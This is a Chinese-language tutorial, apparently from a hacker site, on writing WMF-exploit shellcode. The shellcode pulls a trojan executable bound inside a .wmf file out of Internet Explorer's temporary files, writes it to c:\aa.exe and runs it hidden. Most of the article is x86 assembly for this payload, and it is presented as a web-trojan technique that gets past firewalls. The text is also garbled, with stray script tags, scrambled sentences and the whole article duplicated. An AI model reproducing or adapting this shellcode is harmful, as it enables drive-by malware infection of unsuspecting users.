最近一个朋友在WMF漏洞利用的ShellCode编写上遇到了麻烦:他需要编写的ShellCode功能是这样的:将绑定在.wmf文件中的.exe文件提取、生成并自动执行。经过一整天的努力这个问题基本部分解决 了,但仍然存在一点疑惑,正好写下本文和大家讨论。
基础知识
讨论ShellCode之前,需要掌握两个基础知识:
1 、.exe文件已经绑定到了.wmf文件中。怎么绑定呢?通过copy命令:"copy /b old.wmf+aa.exe new.wmf"即可完成,大家可以马上试试。
2 、 绑定木马之后的.wmf其实是与html文件一起作为网页木马来应用的。因此,用户通过IE打开畸形的new.wmf文件之前,会先将该文件连同html 文件一起下载到系统的IE临时文件夹TIF(Temporary Internet Files)中。TIF是个隐藏文件夹,位于"Documents and Settings/Administrator/Local "显示所有文件和文件夹",然后进入该目à"隐藏文件和文件夹"à <script type="text/javascript"> </script> "查看"à"文件夹选项"àSettings" 下。为了便于理解,大家可先设置"工具" 录查看。TIF目录下可以看到很多文件,但实际上它们都只是真正文件的连接而已 。真正的IE临时文件位于"TIF/Content.IE5"下,本例中的 new.wmf,位于本机的"Temporary Internet Files/Content.IE5/83SB61Q9"目录中。注意,Content.IE5及其中的文件或文件夹只有从资源管理器中才能看到,每个文 件名都多了一个"[1]",如new[1].wmf。
OK,有了基础知识,接下来我们看看ShellCode的设计思路。
ShellCode设计思路
做任何事情之前整理好思路都很重要,本文要求的ShellCode设计思路大致如下:
1、 查找ShellCode可用到的各API函数地址。
2、 找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,并创建文件aa.exe。
3、 通过SetFilePointer函数让new[1].wmf <script type="text/javascript"> </script> 文件指针指向aa.exe文件数据开始的地方,即指向"MZ"。
4、 循环从new[1].wmf中读取数据写入aa.exe。
5、 执行生成的aa.exe。
过程并不复杂,关键是细心,接下来大家看看汇编实现,在Windows 2000 SP4+VC6下编译通过。
汇编实现及待改进的问题
1、API函数地址。最好在画流程图的时候就确定有哪些API函数会用到,并进行合理的内存规划.
其中,GetProcAddress这个函数地址最重要,查找代码已经多次介绍了,大家可以参考 。其余函数查找的部分代码如下:
mov [ebp+2Ch], eax //GetProcAddress
//查找GetTempPathA地址
mov dword ptr [ebp], 'TteG'
mov dword ptr [ebp + 4], 'Ppme'
mov dword ptr [ebp + 8], 'Ahta'
mov byte ptr [ebp + 0xc], 0
push ebp //函数名地址作为参数压入栈(下同)
push ebx //Kernel32.dll地址(下同)
call [ebp+2Ch] //函数返回后eax就是GetTempPathA的地址
mov dword ptr[ebp+28h], eax //保存函数地址(下同)
//CreateFileA地址
mov dword ptr [ebp], 'aerC'
mov dword ptr [ebp + 4], 'iFet'
mov dword <script type="text/javascript"> </script> ptr [ebp + 8], 'Ael'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是CreateFileA的地址
mov dword ptr[ebp+24h], eax
//SetFilePointer地址
mov dword ptr [ebp], 'FteS'
mov dword ptr [ebp + 4], 'Peli'
mov dword ptr [ebp + 8], 'tnio'
mov dword ptr [ebp + 0xC], 're'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是SetFilePointer的地址
mov dword ptr[ebp+20h], eax
//查找ReadFile和WriteFile函数地址
mov dword ptr [ebp], 'daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
//ReadFile和WriteFile地址
mov dword ptr [ebp], ' <script type="text/javascript"> </script> daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
mov dword ptr [ebp], 'tirW'
mov dword ptr [ebp + 4], 'liFe'
mov word ptr [ebp + 8], 'e'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是WriteFile的地址
mov dword ptr[ebp+18h], eax
//WinExec地址
mov dword ptr [ebp], 'EniW'
mov dword ptr [ebp + 4], 'cex'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是WinExec的地址
mov dword ptr[ebp+14h], eax
//CloseHandle地址
mov dword ptr [ebp], 'solC'
mov dword ptr [ebp + 4], 'naHe'
mov dword ptr [ebp + 8], 'eld'
push ebp
push <script type="text/javascript"> </script> ebx
call [ebp+2Ch] //函数返回后eax就是CloseHandle的地址
mov dword ptr[ebp+38h], eax
//ExitThread地址
mov dword ptr [ebp], 'tixE'
mov dword ptr [ebp + 4], 'erhT'
mov dword ptr [ebp + 8], 'da'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ExitThread的地址
mov dword ptr[ebp+3Ch], eax
2、找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,通过GetTempPathA函数可找到系统临时文件夹、按照前面的基础知识,我们可以进一步找 到new[1].wmf的绝对路径。部分代码如下:
//留出空间以备将来存放长的数据
sub esp, 0x800
mov esi, esp
add esi, 4
sub esp,0x100
mov ebx,esp
add ebx,4
//调用GetTempPathA,获取系统临时文件夹
push ebx
push 64h
call dword ptr[ebp + 28h]
xor ecx,ecx
xor ecx,ecx
comp:
inc ecx
cmp byte ptr[ebx+ecx], 0x00
jnz comp
dec ecx
//将路径中的"temp" <script type="text/javascript"> </script> 替换为"temporary Internet Files/Content.IE5/83SB61Q9/new [1].wmf"
mov dword ptr[ebx+ecx],'raro'
mov dword ptr[ebx+ecx+4],'nI y'
mov dword ptr[ebx+ecx+8],'nret'
mov dword ptr[ebx+ecx+12],'F te'
mov dword ptr[ebx+ecx+16],'seli'
mov byte ptr[ebx+ecx+20], 0x5c // '/'
mov dword ptr[ebx+ecx+21], 'tnoC'
mov dword ptr[ebx+ecx+25], '.tne'
mov dword ptr[ebx+ecx+29], '55EI'
mov byte ptr[ebx+ecx+32], 0x5c //'/'
mov dword ptr[ebx+ecx+33], 'BS38'
mov dword ptr[ebx+ecx+37], '9Q16'
mov byte ptr[ebx+ecx+41], 0x5c
mov dword ptr[ebx+ecx+42], '[wen' //new[1].wmf
mov dword ptr[ebx+ecx+46], 'w.]1'
mov dword ptr[ebx+ecx+50], 'fm'
//以读的方式打开new[1].wmf
push 0
push 0x80 //FILE_ATTRIBUTE_NORMAL
push 3 //OPEN_EXISTING
push 0
push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE
push 0x80000000 //GENERIC_READ
push ebx
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover //-1则结束
<script type="text/javascript"> </script> mov dword ptr[ebp + 30h], eax //保存wmf文件句柄
//创建可执行文件c:/aa.exe
mov dword ptr[ebp], 0x615c3a63
mov dword ptr[ebp + 4], 'xe.a'
mov dword ptr[ebp + 8], 'e'
push 0
push 0 //FILE_ATTRIBUTE_NORMAL
push 2 //Create_ALWAYS
push 0
push 0
push 0x40000000 //GENERIC_WRITE
push ebp
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover
mov dword ptr[ebp + 34h], eax //保存exe文件句柄
3、通过SetFilePointer函数让new[1].wmf文件指针指向aa.exe文件数据开始的地方。部分代码如下:
//SetFilePointer设置文件偏移(exe文件位置)
push 0
push 0
push 0x527D //exe文件数据开始处:21119
mov eax, dword ptr[ebp + 30h] //wmf文件句柄
push eax
call dword ptr[ebp + 20h] //SetFilePointer
4、循环从new[1].wmf中读取数据写入aa.exe。部分代码如下:
mov dword ptr[ebp + 40h], 0 //保存每次实际读取的数据
mov dword ptr[ebp + 44h], 0 //保存每次实际写入的数据 <script type="text/javascript"> </script>
Read_Write_exe:
push 0
lea eax, dword ptr[ebp + 40h]
push eax
push 0x400 //每次预定读取1024字节
push esi //存放每次读取后数据的缓冲区地址
push dword ptr[ebp + 30h] //wmf文件句柄
call dword ptr[ebp+1Ch] //ReadFile
push 0
lea eax, dword ptr[ebp + 44h] //每次实际写入的数据字节数地址
push eax
push dword ptr[ebp + 40h]
push esi
push dword ptr[ebp + 34h] //exe文件句柄
call dword ptr[ebp+18h] //WriteFile
//cmp byte ptr[ebx],1
//jz Read_Write_exe
cmp dword ptr[ebp + 44h], 0x400 //判断是否读写完毕
jge Read_Write_exe
//关闭wmf和exe文件句柄
push dword ptr[ebp+30h]
call dword ptr[ebp + 38h] //CloseHandle
push dword ptr[ebp+34h]
call dword ptr[ebp + 38h] //CloseHandle
5、执行生成的aa.exe,并退出线程。部分代码如下:
push 0 //SW_HIDE
push ebp
call dword ptr[ebp + 14h] //Winexec
gameover:
//ExitThread
push 0
call dword ptr[ebp + 3Ch] //ExitThread <script type="text/javascript"> </script>
汇编代码就是这样,大家按照前面多期文章介绍的方法可以完成ShellCode的提取,这里就不罗嗦了。
最后还有一个问题,"Content.IE5/83SB61Q9"目录中的"83SB61Q9"是随机的,不同的机器有所区别。因此通用性问题是需要解决的 ,本文的侧重点是介绍实现的思路。
小结
本 文介绍了提取绑定在文件中(如.wmf)木马文件的ShellCode编写方法。提取绑定木马的ShellCode主要目的是以较短的ShellCode 完成较复杂的功能,实际的复杂功能都是由木马文件来完成。它和传统Down&exec的ShellCode相比,也很容易实现访问网络时突破防火 墙。
基础知识
讨论ShellCode之前,需要掌握两个基础知识:
1 、.exe文件已经绑定到了.wmf文件中。怎么绑定呢?通过copy命令:"copy /b old.wmf+aa.exe new.wmf"即可完成,大家可以马上试试。
2 、 绑定木马之后的.wmf其实是与html文件一起作为网页木马来应用的。因此,用户通过IE打开畸形的new.wmf文件之前,会先将该文件连同html 文件一起下载到系统的IE临时文件夹TIF(Temporary Internet Files)中。TIF是个隐藏文件夹,位于"Documents and Settings/Administrator/Local "显示所有文件和文件夹",然后进入该目à"隐藏文件和文件夹"à <script type="text/javascript"> </script> "查看"à"文件夹选项"àSettings" 下。为了便于理解,大家可先设置"工具" 录查看。TIF目录下可以看到很多文件,但实际上它们都只是真正文件的连接而已
OK,有了基础知识,接下来我们看看ShellCode的设计思路。
ShellCode设计思路
做任何事情之前整理好思路都很重要,本文要求的ShellCode设计思路大致如下:
1、 查找ShellCode可用到的各API函数地址。
2、 找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,并创建文件aa.exe。
3、 通过SetFilePointer函数让new[1].wmf <script type="text/javascript"> </script> 文件指针指向aa.exe文件数据开始的地方,即指向"MZ"。
4、 循环从new[1].wmf中读取数据写入aa.exe。
5、 执行生成的aa.exe。
过程并不复杂,关键是细心,接下来大家看看汇编实现,在Windows 2000 SP4+VC6下编译通过。
汇编实现及待改进的问题
1、API函数地址。最好在画流程图的时候就确定有哪些API函数会用到,并进行合理的内存规划.
其中,GetProcAddress这个函数地址最重要,查找代码已经多次介绍了,大家可以参考
mov [ebp+2Ch], eax //GetProcAddress
//查找GetTempPathA地址
mov dword ptr [ebp], 'TteG'
mov dword ptr [ebp + 4], 'Ppme'
mov dword ptr [ebp + 8], 'Ahta'
mov byte ptr [ebp + 0xc], 0
push ebp //函数名地址作为参数压入栈(下同)
push ebx //Kernel32.dll地址(下同)
call [ebp+2Ch] //函数返回后eax就是GetTempPathA的地址
mov dword ptr[ebp+28h], eax //保存函数地址(下同)
//CreateFileA地址
mov dword ptr [ebp], 'aerC'
mov dword ptr [ebp + 4], 'iFet'
mov dword <script type="text/javascript"> </script> ptr [ebp + 8], 'Ael'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是CreateFileA的地址
mov dword ptr[ebp+24h], eax
//SetFilePointer地址
mov dword ptr [ebp], 'FteS'
mov dword ptr [ebp + 4], 'Peli'
mov dword ptr [ebp + 8], 'tnio'
mov dword ptr [ebp + 0xC], 're'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是SetFilePointer的地址
mov dword ptr[ebp+20h], eax
//查找ReadFile和WriteFile函数地址
mov dword ptr [ebp], 'daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
//ReadFile和WriteFile地址
mov dword ptr [ebp], ' <script type="text/javascript"> </script> daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
mov dword ptr [ebp], 'tirW'
mov dword ptr [ebp + 4], 'liFe'
mov word ptr [ebp + 8], 'e'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是WriteFile的地址
mov dword ptr[ebp+18h], eax
//WinExec地址
mov dword ptr [ebp], 'EniW'
mov dword ptr [ebp + 4], 'cex'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是WinExec的地址
mov dword ptr[ebp+14h], eax
//CloseHandle地址
mov dword ptr [ebp], 'solC'
mov dword ptr [ebp + 4], 'naHe'
mov dword ptr [ebp + 8], 'eld'
push ebp
push <script type="text/javascript"> </script> ebx
call [ebp+2Ch] //函数返回后eax就是CloseHandle的地址
mov dword ptr[ebp+38h], eax
//ExitThread地址
mov dword ptr [ebp], 'tixE'
mov dword ptr [ebp + 4], 'erhT'
mov dword ptr [ebp + 8], 'da'
push ebp
push ebx
call [ebp+2Ch] //函数返回后eax就是ExitThread的地址
mov dword ptr[ebp+3Ch], eax
2、找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,通过GetTempPathA函数可找到系统临时文件夹、按照前面的基础知识,我们可以进一步找
//留出空间以备将来存放长的数据
sub esp, 0x800
mov esi, esp
add esi, 4
sub esp,0x100
mov ebx,esp
add ebx,4
//调用GetTempPathA,获取系统临时文件夹
push ebx
push 64h
call dword ptr[ebp + 28h]
xor ecx,ecx
xor ecx,ecx
comp:
inc ecx
cmp byte ptr[ebx+ecx], 0x00
jnz comp
dec ecx
//将路径中的"temp" <script type="text/javascript"> </script> 替换为"temporary Internet Files/Content.IE5/83SB61Q9/new
mov dword ptr[ebx+ecx],'raro'
mov dword ptr[ebx+ecx+4],'nI y'
mov dword ptr[ebx+ecx+8],'nret'
mov dword ptr[ebx+ecx+12],'F te'
mov dword ptr[ebx+ecx+16],'seli'
mov byte ptr[ebx+ecx+20], 0x5c // '/'
mov dword ptr[ebx+ecx+21], 'tnoC'
mov dword ptr[ebx+ecx+25], '.tne'
mov dword ptr[ebx+ecx+29], '55EI'
mov byte ptr[ebx+ecx+32], 0x5c //'/'
mov dword ptr[ebx+ecx+33], 'BS38'
mov dword ptr[ebx+ecx+37], '9Q16'
mov byte ptr[ebx+ecx+41], 0x5c
mov dword ptr[ebx+ecx+42], '[wen' //new[1].wmf
mov dword ptr[ebx+ecx+46], 'w.]1'
mov dword ptr[ebx+ecx+50], 'fm'
//以读的方式打开new[1].wmf
push 0
push 0x80 //FILE_ATTRIBUTE_NORMAL
push 3 //OPEN_EXISTING
push 0
push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE
push 0x80000000 //GENERIC_READ
push ebx
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover //-1则结束
<script type="text/javascript"> </script> mov dword ptr[ebp + 30h], eax //保存wmf文件句柄
//创建可执行文件c:/aa.exe
mov dword ptr[ebp], 0x615c3a63
mov dword ptr[ebp + 4], 'xe.a'
mov dword ptr[ebp + 8], 'e'
push 0
push 0 //FILE_ATTRIBUTE_NORMAL
push 2 //Create_ALWAYS
push 0
push 0
push 0x40000000 //GENERIC_WRITE
push ebp
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover
mov dword ptr[ebp + 34h], eax //保存exe文件句柄
3、通过SetFilePointer函数让new[1].wmf文件指针指向aa.exe文件数据开始的地方。部分代码如下:
//SetFilePointer设置文件偏移(exe文件位置)
push 0
push 0
push 0x527D //exe文件数据开始处:21119
mov eax, dword ptr[ebp + 30h] //wmf文件句柄
push eax
call dword ptr[ebp + 20h] //SetFilePointer
4、循环从new[1].wmf中读取数据写入aa.exe。部分代码如下:
mov dword ptr[ebp + 40h], 0 //保存每次实际读取的数据
mov dword ptr[ebp + 44h], 0 //保存每次实际写入的数据 <script type="text/javascript"> </script>
Read_Write_exe:
push 0
lea eax, dword ptr[ebp + 40h]
push eax
push 0x400 //每次预定读取1024字节
push esi //存放每次读取后数据的缓冲区地址
push dword ptr[ebp + 30h] //wmf文件句柄
call dword ptr[ebp+1Ch] //ReadFile
push 0
lea eax, dword ptr[ebp + 44h] //每次实际写入的数据字节数地址
push eax
push dword ptr[ebp + 40h]
push esi
push dword ptr[ebp + 34h] //exe文件句柄
call dword ptr[ebp+18h] //WriteFile
//cmp byte ptr[ebx],1
//jz Read_Write_exe
cmp dword ptr[ebp + 44h], 0x400 //判断是否读写完毕
jge Read_Write_exe
//关闭wmf和exe文件句柄
push dword ptr[ebp+30h]
call dword ptr[ebp + 38h] //CloseHandle
push dword ptr[ebp+34h]
call dword ptr[ebp + 38h] //CloseHandle
5、执行生成的aa.exe,并退出线程。部分代码如下:
push 0 //SW_HIDE
push ebp
call dword ptr[ebp + 14h] //Winexec
gameover:
//ExitThread
push 0
call dword ptr[ebp + 3Ch] //ExitThread <script type="text/javascript"> </script>
汇编代码就是这样,大家按照前面多期文章介绍的方法可以完成ShellCode的提取,这里就不罗嗦了。
最后还有一个问题,"Content.IE5/83SB61Q9"目录中的"83SB61Q9"是随机的,不同的机器有所区别。因此通用性问题是需要解决的
小结
本 文介绍了提取绑定在文件中(如.wmf)木马文件的ShellCode编写方法。提取绑定木马的ShellCode主要目的是以较短的ShellCode 完成较复杂的功能,实际的复杂功能都是由木马文件来完成。它和传统Down&exec的ShellCode相比,也很容易实现访问网络时突破防火 墙。